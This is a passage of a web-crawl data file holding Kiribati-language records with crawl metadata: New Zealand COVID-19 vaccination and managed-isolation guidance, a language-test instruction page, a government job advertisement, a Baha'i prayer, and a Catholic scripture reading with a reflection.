ngkana koa tia n anga am kariaia bwa ena tibwaia, ke ngkana e riai tibwakina ian te Privacy Act.\nKo aki kabaeaki bwa kona tuanga am tia kammwakuri ngkana koa tia n itinaki n te iti n totoko. Ngkana ko aki kan itinaki n te iti n totoko, ko aki kabaeki bwa kona tuangia bukina.\nNgkana am mwakuri ae ko karaoai ena riai n ti karaoaki iroun te tia mwakuri are ea tia ni itinaki n te iti n totoko ma ko rineia bwa kona aki kaotia bwa koa tia ni itinaki ke ko tuai, e kona am tia kammwakuri n kariniko n te rinan n aki itinaki, ma ana riai n tuangko ngkana a karaoa aio.\nNgkana am mwakuri ae ko karaoai e riai ni karaoaki iroun are ea tia ni itinaki n te iti n totoko\nNgkana e taku am tia kammwakuri bwa te mwakuri ae ko karaoia e na riai ni karaoaki ti iroun te tia mwakuri are ea tia ni itinaki n te iti n totoko, ni kaineti ma tuan te mauri ao tania te koraki, ao ena riai moa ni karaoa te kakae n tutuo iaon aron ao kawain kai reken ao ewen te COVID-19. Te kakae aio ena riai ni ikarekebai ni mwakuriaki ma tan mwakuri, kain te union ao tan tei riki tabeman.\nTe kakaea aio ena riai n boboto:\n- bwa ena kanga n reke ao n ewe te Covid-19 nakoia tan mwakuri n aia tai ni mwakuri\n- te bwai ae e kona n reke ngkana ewekaki te tia mwakuri n te aoraki n aron aei: butin te aoraki ni kawa ke aono.\nRongorongo riki tabeua ibukin kairan am kakae akana a mena n WorkSafe.\nTuan te kamwakuri ake a riai ni iraki a bon tiku naba n aroia. Ni ikotaki ma:\n- Te boraraoi ibukin karaoani bitaki nakon taian mwakuri ao kaetieti ibukin te kamwakuri.\n- Karaoa te reitaki ao te kaetieti ae e Tamaroa.\n- Aki katinanikuia tan mwakuri ni kaineti ma teia ibukin te iti n totoko.\n- Aki karaoan mwakuri ake a biri ritinanikun te tua ike ana tekebuaka iai tan mwakuri ni kaineti ma teia ibukin te iti n totoko.\nTe mwakuri n tabo ike e rangi ni kakai ewe iai te aoraki ke n tabo ni kaonoti ake a tararuaki ke Quarantine (MIQ)\nE ngae ngke a anganaki te inaomata n rineia bwa ana itinaki n te iti n totoko ibukin te COVID-19 tan mwakuri ni kabane, ao tan mwakuri n tabo ni kaonoti ake a tararuaki ke MIQ ke n tian te aba ike a kakai ewe iai manin te aoraki, ana riai ni karaoaki irouia aomata ake a tia ni itinaki n te iti n totoko ibukin te Covid-19. Ni ikotaki ma ana tia mwakuri te tautaeka ake a mwakuri n marae ni wanikiba, matabaiawa ni kaibuke, ao iaon wanikiba.\nIai tabeaua aika a tibanako mai ian te baire aei. N aron aei, e kona n ae e kariaiakaki te aomata ae e tuai ni itinaki n te iti n totoko n rin ke ni karaoa te mwakuri ngkana e riai ibukin kawakinan maiun te aomata, te kukua ao te katatan n taini kanganga, ke ngkana e anganaki te kariaia ao ni kainnanoaki ian te tua.\nAron mwakurian te aki rau n nano\nNgkana ko aki kukurei ma am tia kammwakuri ibukin te mwakuri teuana are ena riai n ti karaoaki iroun te te tia mwakuri are ea tia ni itinaki n te iti n totoko ko kona n nakon te Early Resolution Service. A tauraoi ao aki kaboaki buoka aikai ibukin mwakurin ao rinanon tain kanganga","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/covid19.govt.nz\/iwi-and-communities\/translations\/kiribati\/the-covid-19-vaccine\/how-to-get-a-vaccine\/the-vaccination-and-your-job\/","date":"2021-09-16T11:46:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780053493.41\/warc\/CC-MAIN-20210916094919-20210916124919-00614.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":687,"character_repetition_ratio":0.129,"word_repetition_ratio":0.038,"special_characters_ratio":0.221,"stopwords_ratio":0.381,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te iti n totoko ibukin te COVID-19 e aki kaboaki, e aki kairoroaki itinakim iai, ao e tauraoi ibukia aomata ni kabane iaon Nutiran man te 12 te ririki ni waerake. E aki tabeakinaki bwa tera am visa ke kain ia ngkoe. Tina aki kabonganai rongorongo ake ti ikoikoiti ibukin te Immigration ao akea te bwai ae kona kinaki iai.\nNgkana ko itinaki n te iti n totoko, ko kataniko ao ko kakerikaka butin te COVID-19 nakoia am utu, raoraom ao am community.\nKo na kona ni kunei ikai rongorongo ake a kaineti ma antai ae a kona n reke irouna te iti n totoko, ni ikotaki ma am ririki ni maiu, ngkana ko bikoukou ke ko kammamma, ngkana a tia n rereke kanganga aika korakora nakoim man bwainaoraki n totoko n tai aika a nako, ao ngkana iai aorakim ae e tarataruaki.\nNgkana e tuai koro 12 am ririki\nN te tai aio, ao aomata ake a tuai koro aia ririki 12 a bon aki moa kona n itinaki n te iti n totoko ae te Pfizer.\nNgkana e riaon 65 am ririki\nE tia n ataki ae e rangi ni korakora ana mwakuri ae e tamaraoa ao man tan ibukia aomata ake a riaon 65 aia ririki.\nNgkana ngke te aomata ae ko aki kakana irikon te man (vegetarian) ke ko rarabwarabwataki\nE tamaroa naba te iti n totoko ibukia nake aki kakana irikon te man. Akea bwai aika a nako man te man n te iti n totoko aio.\nTe iti aei akea naba bwainaoraki iai, bwain te rara, DNA, bwain te bunimoa, te tei are n e bikoukouaki, gluten, bwain te beeki, ake ana tuka buakakana, soy, or latex (ao matan te iti e karaoaki man te rabwa are e karaoaki ae te bromobutyl).\nNgkana ko bikoukou\nNgkana ko bikoukou ko kona ni itinaki n te iti n totok ibukin te COVID-19 n te tai are ko taku inanon bikoukoum.\nMan ikotan rongorongo mai irouia aine ake a bikoukou ake a tia ni itinakin te iti n totoko n te aonnaba ao e teretere are akea riki te raraoma ibukin angakia bikoukou te iti n totoko ibukin te COVID-19.\nAnganakin te bikoukou te iti n totoko n ana tai ni bikoukou tao ena buoka naba tetei, ngkai e kakoauaki bwa ana man ni buaka te rabwata a rinanon te buto ao te ran ni mmamma, ao are tao e kona ni karekea tanin tetei n akea te bae e karoaki nakoina.\nNgkana iai am titiraki ke tabeiangam, marorokini ma te tia mwakuri n te tabo ni kuakua.\nNgkana ko kataia ni bikoukou\nNgkana ko iangoa bikoukoum ko kona naba ni itinaki n te iti n totoko ae te Pfizer.\nTe iti n totoko ae te Pfizer ena aki roti am genes ke kakarikim. Te iti n totoko ae te mRNA eaki ninia nukan te nucleus are nukan te cell, are e mena iai am DNA.\nAkea iteran nako te iti n totoko ke baike a tebenako itinanikun kunin te virus (spike protein) ake a kona n roko n ana tabo ni karao bunimoa te aine (ovaries) ke ana tabo ni karoa man ni kariki te mwane (testes).\nNgkana arona bwa a tia n reke iroum kanganga man iti n totoko mai imwaina\nNgkana arona bwa a tia n reke iroum kanganga aika a korakora ke a korakora tau man bwainaoraki n totoko ke iti n totoko mai imwaina, maroroakinna ma am taokita, te tia mwakuri n te tabo ni kukua, ke am tia iti n totoko.\nNgkana e reke iroum te anaphylaxis (te kanganga ae e korakora)\nKo na aki riai ni itinaki n te iti n totoko ngkana ngkana a rereke iroum kanganga aika a korakora imuin bain aoraki n totoko ke iti n totoko:\n- Ngkana iai bwain te Pfizer are e karekea aei nakoim.\n- Ngkana e reke man moan itinakim te iti n totoko ae te Pfizer.\nNgkana ko aki marurung ke e korakora kabuebuem\nNgkana ko aki marurung ke e rietata riki kabuebue nakon 38°C n am bong ni iti, taona am tai ni iti n totoko ibukin te COVID-19 ni karokoa e reke riki te marurung.\nNgkana ko ana riki te bwainaoraki n totoko teuana\nKo aki kona ni itinaki n te iti n totoko ibukin te COVID-19 n ti te taina ma bwainaoraki n totoko riki tabeua. Ko na riai n karekea taina ae e tau ni kaineti ma te bwainaoraki n totoko are ko anaia.\nTe bwain aoraki n totoko ibukin te buru (flu)\nKarekea uoua te wiki marangan te iti n totoko ibukin te COVID-19 ma te iti n totoko ibukin te buru (flu).\nNgkana e tia n bae am tai ibukin itinakim n te iti n totoko ibukin te COVID-19, kabanei moa itim akana uoua ibukin te COVID-19- tenua te wiki marangan te moan ao te kauoua ni iti. Karekea itim ibukin totokoan te buru(flu) uoua te wiki i muin am kakauoa ni iti.\nNgkana e tuai ni bae aram ibukin itinakim te iti n totoko ibukin te COVID-19, karekea moa itim ibukin totokoan te buru (flu) Ko kona ni karekea itim n totoko ibukin te COVID-19 uoua te wiki i muin aei.\nTotokoan te Te Mitira, Mumps te Rubella (MMR)\nTi kantaningia bwa kona kabanei moa itim n totoko ibukin te COVID-19 ake uoua– iti aikai tenua te wiki marangaia.\nNgkana ko itinaki moa n te iti n totoko ibukin te COVID-19, kona riai n tataninga uoua te wiki i muin am kauoua ni iti imwain are koa ana te bwainaoraki n totoko ibukin te MMR.\nNgkana ko ana moa te bwainaoraki n totoko ibukin te MMR, ko na riai n tataninga 4 te wiki imwain are ko itinaki n am moan iti ibukin totokoan te COVID-19.\nNgkana iai riki aoraki ae ko tararuaki iai.\nE kuneaki ni kakatai aika a tia ni karaoaki bwa te iti n totoko e mwakuri ibukia roro nako, te mwane ao te aine, rikia ao anua aika a kakaokoro reeti nako ao aomata ake iai riki aoraki ake a tararuaki.\nKo kona ni itinaki ni moantai ngkana ea koro am ririki 16 ao ko reke ian teuana te kaetieti man akana karinanaki inano.\n- Iai aorakim ae e tararuaki are e anganiko te kona ni karekea itim ibukin te buru (flu) are e kaboaki man te tautaeka, ni ikotaki ma bikoukou.\n- Ko tia n aoraki n aorakin te iango (ni ikotaki ma schizophrenia, major depressive disorder, bipolar disorder or schizoaffective disorder, ao ikawai ake a bwai n aorakiaki n te o n aoraki ibukin aorakin te iango ao babaekinan karaoan te bwai teuana n tai nako (addiction).\n- E aki nakoraoi tarauan ke e rangi ni korakora rietatan raram (hypertension). E nanonaki ikai bwa te rietata n rara are ko kabongana iai uoua te bwainaoraki ke e mwaiti riki ibukin kanakoraona.\n- Ko rangi ni bubura (defined as a BMI ≥40).\nI bukin riki taeka ni ibuobuoki ibukin karekean itim ngkana iai riki aorakim aika a tararuaki, ao a bwai n aoraki riki tabeua, tikan (scan) ke ko bwainaoraki ngkai, nakon ana uebutiati te Ministry of Health.\nLast updated:","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/covid19.govt.nz\/iwi-and-communities\/translations\/kiribati\/the-covid-19-vaccine\/how-to-get-a-vaccine\/who-can-get-a-covid-19-vaccine\/","date":"2021-09-16T09:57:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780053493.41\/warc\/CC-MAIN-20210916094919-20210916124919-00604.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1177,"character_repetition_ratio":0.127,"word_repetition_ratio":0.0,"special_characters_ratio":0.226,"stopwords_ratio":0.358,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kiribati\nTranslation of information for community cases and close contacts\nVideo Transcript\nTe rongorongo ae kakawaki ibukim n am tai n tiku n te tabo ni kaonoti (Isolation Facility)\nKia Ora ao ko na mauri\nTabeman mai ibuakomi ae kam tabe ni katauraoi n rinnako n te tabo ni kaonoti ae tararuaki ibukina ba ko a tia n tuoaki ao n reke ni manin te aoraki ke n tia n irengan ma te aomata ae e a tia n tuoaki n reke irouna manin te aoraki.\nTaben te tabo ni kaonoti ba e na kakoaua ba akea te COVID-19 irouia aomata imwain ae a okira aia komuniti.\nTe MIQ ngaia teuana mai ibuakon te mwakuri ae rangin bongana ni katoka butanakon te COVID ao ni kamanoia kain ara komuniti.\nTi kaitau nakoim ibukin karaoan tibangam ae moan te kakawaki n kamanoko, ma am utu, ao natim aika a tangiraki, ara taan mwakuri ao ara komuniti.\nIbukin buokan aron tikum n autin te MIQ – taiaoka karekea otam n taian rongorongo aikai.\nBwaai aika a batiannaki (uotaki)\nTi kaongoko ba e raoiroi ae ko uota taian bwai ae ko kainanoia ni katoa bong n aron:\n- Kunikai – ae raoiraoi bwainakia inanon uoua te wiiki.\n- Bwain aoraki – Taiaoka ma uota am bwain aoraki ae ko kainanoia ao man tauraoi iroum.\n- Bwain te roki – n aron te katoto, te buratiniwii, tobun buratiniwii, bwai n korobuai, ao bwain kaitiakakin te rabwata (sanitary products)\n- Bwai ni kakibotu ibukim ma ataei aika a uarereke ngkana iai irarikim. Uoti taian bwai n takakaro ni kabanea ami tai inanon te ruu ao teimatoa n reitaki bon man am ruu nakoia am utu ao natim aika tangiraki.\nAna tieweti MIQ\nE ngae ngkai taabo n kaonoti a kabonganaki iai taian outero, a bon aki kamwakuraki n aron butin te outero.\nRuu\n- Ko na anganaki te ruu n te tabo ni kaonoti ae tararuaki inanon maanin te tai are ko tiku iai.\n- N aei, ao e butimaeaki naba mwaitia aomata aika a maeka ma ngkoe.\nTV ao WIFI\n- E na iai te TV ae aki kaboaki te tamnei iai ao te Wi-Fi inanon am ruu.\nBurangketi\n- E katauraoaki te burangketi ma ko kona n uota am bwai tabeua man mwengam ba ko na kona ni mwengaraoi.\nKanam\n- E katauraoaki kanam ibukin te kaingabong, katawanou, ao katairiki n akea boona. Ngkana iai te amwarake n raka ae ko karekea ao bon tabem ba ko na kaboa.\n- A na nikiraki kanam nakon am ruu ao ni katikuaki i tinanikun am mataroa.\n- A karaoa aia kabanea ni kona taani mwakuri ni karekea te amwarake ae kam tataneiai ni kanna ma e kona naba n iai te kanganga ni karekea te bwai ae ko tangiria n taainako.\nNikiraki te Oota\n- Ko kona ni karaoa am oota man taian titoa n te aono are ko maeka iai ke tubwamakete. Ko na bon kaitara boon te kabane mwane.\n- Iaan te Karinan 4 ao karinan 3 – A aki kariaiakaki kain am utu ba e na iai te bwai ae a na nikira iroum ba ko tangiria (ma bon ti te bwain aoraki).\n- A bane n raoiroi ao ni mano taian tabo ni kaonoti aika tararuaki.\n- Taani mwakuri n te auti ao n taian tabo ni kaonoti bon te tiim man te kuakua ibukin tararuan te mauri, kain te outero ao taian tia mwakuri te Tautaeka.\nKabonganaan te tareboon\n- E aki kaboaki kabonganaan te tareboon n te intanete, imarenan taian ruu ao ibukin ana tieweti te outero.\n- Ko na kabwaka boon te tareboon ngkana iai ae ko karaoia itinanikun aei n ana mwaiti (rate) te outero.\n- Ko kona ni kabongana te WiFi ae akea boona n am tareboon ke man am bwai n itoman ae iai iroum, ao ni kateimatoa te rereitaki ma am utu.\nTia Raitaeka\n- E tauraoi te Tia Raitaeka ngkana ko kainanoia, taetae nakon temanna kain te tiim ae mwakuri n te tai anne ba e na ibuobuoki ni karekea temanna ibukim.\nBwaina te tangira nakoia taan mwakuri\nTi ataia ba e aki bebete te tiku ni kawakinaki inanon te tabo ni kaonoti aika tararuaki.\nA karaoa aia kabane n tamaroa ara taan mwakuri aika a tei ni katana Nutiran ao ni kaitara te COVID-19, ni kakoaua ba tikum inanon te tabo ni kaonoti e na nakoraoi n taainako. Taiaoka ma mwakuri n ibuobuoki inanon te iraorao ao karinea naba aron aia mwakuri ae a karaoia.\nAikai tabeua kaetieti ae kakawaki ba ko na ira nanona n am tai n tiku n te MIQ:\n1. Tai kitana te tabo\nKo riai n tiku n te tabo ni kaonoti inanon 14 te bong ao akea bukina ae kariaiakaki ba ko kona ni kitana te tabo ae iai.\n2. Tiku inanon am ruu\nIbukin buokan totokoan butin te COVID-19 ko riai ma raom tabeman inanon am ruu n tiku inanon te ruu n taainako.\n3. Akea te kakawari\nAkea te aomata ae e kariaiakaki ba e na kawariko. Tai naba kariaia tabeman nakon am ruu ao tai nakon aia ruu aomata tabeman ti ngkana kain am buroburo.\n4. Karina kamanoan te ubu\nKo aki kona ni karina kamanoan te ubu n aki akaaka ae ko uotia man mwengam. Ko riai ni karina kamanoan te ubu ae ko anganaki man te tabo ni kaonoti are ko tiku ni maeka iai,\nKo riai ni karina kamanoan te ubu imwain ae ko kauka te mataroa. Ko karaoa naba aei ngkana ko kauka te mataroa ni butimaea kanam ngkana e nikiraki, ke ngkana ko nako ni katikua te mwange, ke ni kaea am bontaeka ao mwioko ibukin tuoan maurim n aron karaoan te tutu ibukin te COVID-19\nKo riai naba ni karina kamanoan te ubu ngkana ko kitana am ruu n nako ni karekea te ang ae boou ni kamaengang ke e a boo am tai ni moko\n5. Kateimatoa taua raroam 2 te mita te maranga\nNgkana ko tiku itinanikun am ruu, taua raroam uoua te mita mai irouia aomata tabeman. Taua marangam anne n taainako.\n6. Amwarake inanon am ruu\nKo riai n amwarake inanon am ruu n taainako. Taiaoka tai amwarake i tinaniku.\n7. Kabaea am tai ni moko i tinaniku\nTai moko inanon am ruu.\nNgkana ko tangiria ni moko – ko riai ni kabaea am tai. A tauraoi taani mwakuri ni kaotako ibukin karaoan aei.\nA kona n tauraoi taabo ni kamangang n te tabo ni kaonoti are ko tiku iai. Ko na tuangaki ngkana ko riai ni kabaea am tai ibukin kabonganakina\n8\/ Tai ibuobuoki ni bwai ma tabeman\nTAI IBUOBUOKI n te moko. te lighter, n te amwarake ke te mooi ke n am bwai riki tabeua nakoia aomata tabeman.\n9. Tuangia taan mwakuri ngkana ko aoraki\nUringnga, ba n te tai naba are ko namakina te aoraki ma te aki marurung raoi, ao taiaoka ma kaongoa te tia mwakuri are e tei n te tai anne ba e na waekoa ni karaoa ana tararua ni buokiko.\nKo kona ni karaoa aei ni weteia kain te tiim n tareboonia man am ruu.\nTai otinako ni kawaria kain te kaunta (reception)\nMaurim ao marurungim\nE kona n reke namakinan te rawawata n te iango inanon am tai n tiku n te tabo ni kaonoti\nE kona ni korakora riki namakinan aei irouia tabeman ao tabeman e aki, ngaia ae e rangin kakawaki ba ko na tararua raoi aron marurungin am iango ao marurungin naba rabwatam n taainako.\nIai te tutuo ae e na karaoaki nakoim n taai aika kakaokoro ibukin tuoan maurim ao marurungim.\nIai te Wi-Fi ae akea boona ni kabuta nanon taian tabo ni kaonoti ao ti kaungako ba ko na kabongana n itoman iai n taetae nakon te tia ibuobuoki (support person)\nKo kona n reitaki ma taian botaki aika a tauraoi n ibuobuoki n aron rongorongoia are e oti n te baeki ibukia taan roko (welcome pack).\nTabekan te tangitang\nE rawata te kawai ae ko kona ni karaoia ibukin tabekan am tangitang n te bwai ae ko aki kukurei iai inanon am tai n tiku ni kawakinaki nte tabo ni kaonoti MIQ.\nE na iai taian namba n tareboon ibukia aomata aika ko kona n taetae nakoia ibukin aia ibuobuoki n te tai ae tawe, ao iai naba aron tabekan te tangitang ae ko kona ni karaoia ae tauraoi ngkana ko tangiria.\nNI KABANEANA Taiaoka uringnga ni karaoa nanon taian kaetieti ibukin tuan te mauri man te Ministry of Health:\n- Teboka baim n taainako\n- Kabongana bwain kamanoan te ubu\n- Karinna (download) te COVID TRACER APP inanon am mobile ao taua mwin taabo aike ko kawari ao n roko iai.\n- Ngkana ko namakina te aoraki ke iai kanikinaean te buru (flu) n reke iroum ao tuoaki.\nKABANEANA\nKo na tekeraoi inanon am tai n tiku ni kawakinaki.\nE na neboaki te Atua, ao kawakina maurim!\nIbukin katabaninan rongorongon te tiku ni maeka n te MIQ – ko kona ni wareka taekana ae e reke n te baeki ibukin te moan roko (welcome pack) are ko na anganaki.","id":"","dump":"CC-MAIN-2021-39","url":"https:\/\/www.miq.govt.nz\/being-in-managed-isolation\/entering-isolation\/information-for-people-entering-miq-due-to-the-community-outbreak\/kiribati\/","date":"2021-09-18T00:56:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-39\/segments\/1631780056120.36\/warc\/CC-MAIN-20210918002951-20210918032951-00105.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1479,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.218,"stopwords_ratio":0.341,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te Taetae n Imatang\nTaraia am tarena n taetae n tii tabeua te miniti\nNgkanna ko na tutuoaki ko kainanoa\nIai teneua mwakorkon te tutuo aei:\nKakoaua bwa e bon Ngkoe\nTaiaoka ko na kakoaua moa ngkoe bon te aomata ae mwiokaoki ni tutuoaki ao bwa ko kona kakoaua ma te beeba ngkanna ko tuaki.\nI kona ni kakoaua bwa:\nKakoaua bwa ko na aki kewe\nTaiaoka ko na wareki bwai aikai ma ni kakoaua bwa ko na iriia ni karkoa e tia tutuom.\nI kakoaua bwa N na:\ntaraia: [kambwana] e na karekea te rongorongo man am tutuo n nora ngkanna ko iri bwai aikai.\nKaetieti ibukin Mwakoro 2: Kaekana ae Uki\nE Nako Raoi! E nang tia.\nKo kainanoa 5 te minuti ibukin te mwakoro aei.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/emmersion.ai\/additional-instruction-languages\/kiribati\/","date":"2021-10-23T18:19:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585737.45\/warc\/CC-MAIN-20211023162040-20211023192040-00285.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":126,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.349,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"KATANOATA\nE kukurei n katanoata te MELAD n mwangana ae Aobitin Tararuan te Otabwanin iaan ana karikirake ae te Solid Waste Management Phase II bwa iai ana mwawa ibukiia uoman taan mwakuri aika a kainanoaki ibukin kamwakuran te mitin n korokoro ibukin maange aika a mka. Oin taben te tia mwakuri bwa ena ibuobuoki n te tabo n maange are I Nanikaai n kamwakura te mitin aei ao ni korokoroi maange ake a mka.\nBwai aika a kainanoaki ke aika a riai n reke iroum\n- Ko na riai n tia n mwakuri ma te mitin n kamantinti ibukin maange ake a mka inanon te maan ae onoua te namakaina;\n- Ko riai n tia n ira te reirei iaon kabonganan taian mitin n mwakuri; n aron te mitin n kamantintan maange ao a mwaiti riki.\n- E na riai n iai am Bongi ni bung;\n- E na iai am Beeba n kakoaua man am tabo n mwakuri ke taabo ake ko a tia n karaoa iai am reirei;\n- Am ririki ni maiu e na riai n bwaka I marenan 25-35; ao\n- E na iai am atatai iaon warebwaian maange (Waste Audit).\nIbukin bwaninin rongorongona, kam kona n reitaki nakon te nambwa ae 75228000 n aoan te mwakuri.\nE na manga bon reitaki te Aobiti nakoimi ngkami koraki ake kam a kariaiakaki bwa kam na ira te ukeuke ke te interview ibukin te Mwakuri aio.\nE na toki butimwaean booma n te Moanibong 23n Aukati 2021 n te aoa 4pm\nKam rabwa mai iroun Te Tia Koroboki man MELAD.","id":"","dump":"CC-MAIN-2021-43","url":"http:\/\/www.environment.gov.ki\/author\/pboraia\/","date":"2021-10-20T19:36:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585348.66\/warc\/CC-MAIN-20211020183354-20211020213354-00017.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":253,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.387,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"WAAKIN TE NU O!\nNi waaki riaon boton karinanin nako te nanokokoraki ao n eutaki nakon rietaatan nako te koaua. Kauka te mata ae koaua, bwa ko aonga n noora te Tamaroa ae e aki rabunaki ao n atonga aei: Te Uea ae Tabu, te Kabanea n Tamaroa i buakoia karikibwai nako!","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/www.bahaiprayers.io\/prayer?id=190403100","date":"2021-10-17T22:16:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585183.47\/warc\/CC-MAIN-20211017210244-20211018000244-00411.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":16,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":52,"character_repetition_ratio":0.008,"word_repetition_ratio":0.0,"special_characters_ratio":0.215,"stopwords_ratio":0.404,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Wiki 23 Kaabong\nWarekan ana Reta Bauro nakoia I Korote…3: 12-17\nNgkami aika kam rineaki iroun te Atua, aika kam itiaki ma n tangiraki irouna, karina i nanomi te nanoanga, te akoi, te nanorinano, te nimamannei, te aki bara n nano. Kam na itaotaon nanomi ma ni ikabarabure iroumi, ngkana tao e tang temanna iroun temanna. Kam na kakairi irouni Kristo, are kabarai naba ami bure. Ao i aoni bai ni kabane karina te tangira, ba boni ngaia matoatoan te raoiroi ma kororaoina. Ke e uea i nanomi ana raoi Kristo, are kam weteaki nako iai, ba kam na ikotaki n te rabata ae ti teuana; ao babaina te tituaraoi.\nKe a maeka i nanomi ana taeka Kristo n aekaia nako. Kam na reirei ngkami i boni iroumi n te wanawana n aki toki, ao n taeka ni ibuobuoki. Kabanei nanomi n anenea te Uea ma ni katituaraoia, n taiani kuna ma manewe ma anene aika bain te tamnei. Te bai nako ae kam na karaoia, ke n taekinna, ao karaoia ma n taekinna n aran te Uea ae Iesu, ni katituaraoa iai te Atua te Tama irouna.\nTe Taramo 150: 1-6\nKaekana: Ke a neboa te Uea bai ni kabane.\nNeboa te Atua n umana ae tabu, neboia i karawa ma makana.\nNeboia n ana makuri aika kamimi, Neboia ni kakanatona ae ababaki. K.\nNeboia n tangin te bu, neboia ma te abi ao te raea.\nNeboia n te ruoia ma te timbara, neboia n taiani karai ma kaibaba. K.\nNeboia n te timbara aika tangiamaka, neboia n timbara aika tangiraoi.\nKe a bane n neboa te Uea, baika maiu. Alleluia. K.\nAlleluia, alleluia.\nAm taeka, bon taekan te tamnei ma te maiu: A mena iroum taekan te maiu ae aki toki. Alleluia.\nEuangkerio\nWarekan ana Euangkerio Ruka…6: 27-38\nE kangai Iesu nakoia ana reirei: \"I tuangi ngkami, ngkami aika kam ongora: kam na tangiriia ami kairiribai, buokia akana ribai ngkami, karaoiroia akana karekei kaimi, tataro i bukia akana bainikirini ngkami. Ane orea tabam teuana, ao anganna naba tabam are teuana; ane anaa rabunam, ao anganna naba am kabaraki. Ane butiko, ao anganna; ane anaa am bai, ao tai anaia mairouna. Te bai ae ko tangiria ni karaoaki nakoim, ao karaoia naba nakoia aomata. Ba ngkana kam tangiriia akana tangiriia. Ngkana kam buokia akana buoki ngkami, ao tera aromi ae na reke iai? a karaoa naba anne tani bure. Ngkana kam anga nakoia akana kam taku ba a na manga anga nakoimi, ao tera aroma ae na reke iai? A anganga naba tani bure nakoia tani bure ba a aonga ni manga kaboaki muin aia bai. Ma kam na tangiriia ami kairiribai, ibuobuoki ao anga ami bai n aki kani kaboaki, ao e na ababaki kaniwangami, ao kam na riki ba natin Teuare moan te Rietata, ba E akoi Ngaia nakoia akana bangaomata ma akana ioawa. Kam na nanoanga, n ai aron Tamami ae nanoanga. Tai motiki taekaia aomata, ao a na aki motikaki taekami. Tai kabureia aomata, ao kam na aki kabureaki. Kabarai aia bure aomata, ao a na kabaraki ami bure. Anga, ao kam na anganaki; ao a na kanoaki rukuman ami kunnikai n te baire ae koro raoi, ae ibe ae toki, ae taonako; ba te baire ae kam babaire iai, ao e na baireaki naba iai nakoimi.\nTibatiba: Anenea te Uea ma ni katituaraoia n taiani kuna ma manewe ma anene aika bain te Tamnei\nTariu ao maneu n aron Nanon te Atua ae ti ataia ba E kan anganira kororaoin te maiu iroun Natina ae Iesu Kristo, a na bane ni kakoroaki nanoia ngkana ti kaburei maiura ba ti na katotonga mauin Iesu n tangiria raora n aiaron tangirara i bon iroura; ngkana ti tauraoi ni buokia ara kairiribai ao ngkana ti tauraoi ni kabarai aia bure akana a karaoa ae buakaka nakoira. Inanon karaoan makuri aika raraoi aikai ao te bai ae ti reireinaki iai ba ti riai ni katabeira ma kaikoan kaubain te Tamnei ao ni katikui bain te rabata ke te aonnaba. Ti reireinaki naba ikai ba ngkana ti kairaki ni bain te Tamanei ao ti na kona ni kababaneira ibukin karaoan Nanon te Atua. Ngkana ti nebonebo n Tamnei ao ti kataua Tamnein te Atua are mamaeka inanora ba E na tautaekanira ke E na inaomata ni koaua inanora n te aro are E na kairi maiura ao ti na toua manekana ni kabanei bongin maiura.\nTariu ao maneu ti riai n te bong aio ni manga kaboui ara anganano nakon te Atua ni butia ba E na buokira ni kona ni kababaneira nakon te Atua n riki ba tan ririmuina n uouota ara kaibangaki ni katoa bong ibukina ba ti a tia ni kakeaira i bon iroura ba ti kakaraoa ae Nanona ba ti aonga n roko n tokin kawaira are te rin n te Abanuea ae Karawa are e a tia katauraoaki ibukira ba mwengara ni koaua ngkai ao n aki totoki.","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira\/1671-anenea-te-uea-ma-ni-katituaraoia-n-taiani-kuna-ma-manewe-ma-anene-aika-bain-te-tamnei","date":"2021-10-16T23:33:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585045.2\/warc\/CC-MAIN-20211016231019-20211017021019-00074.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 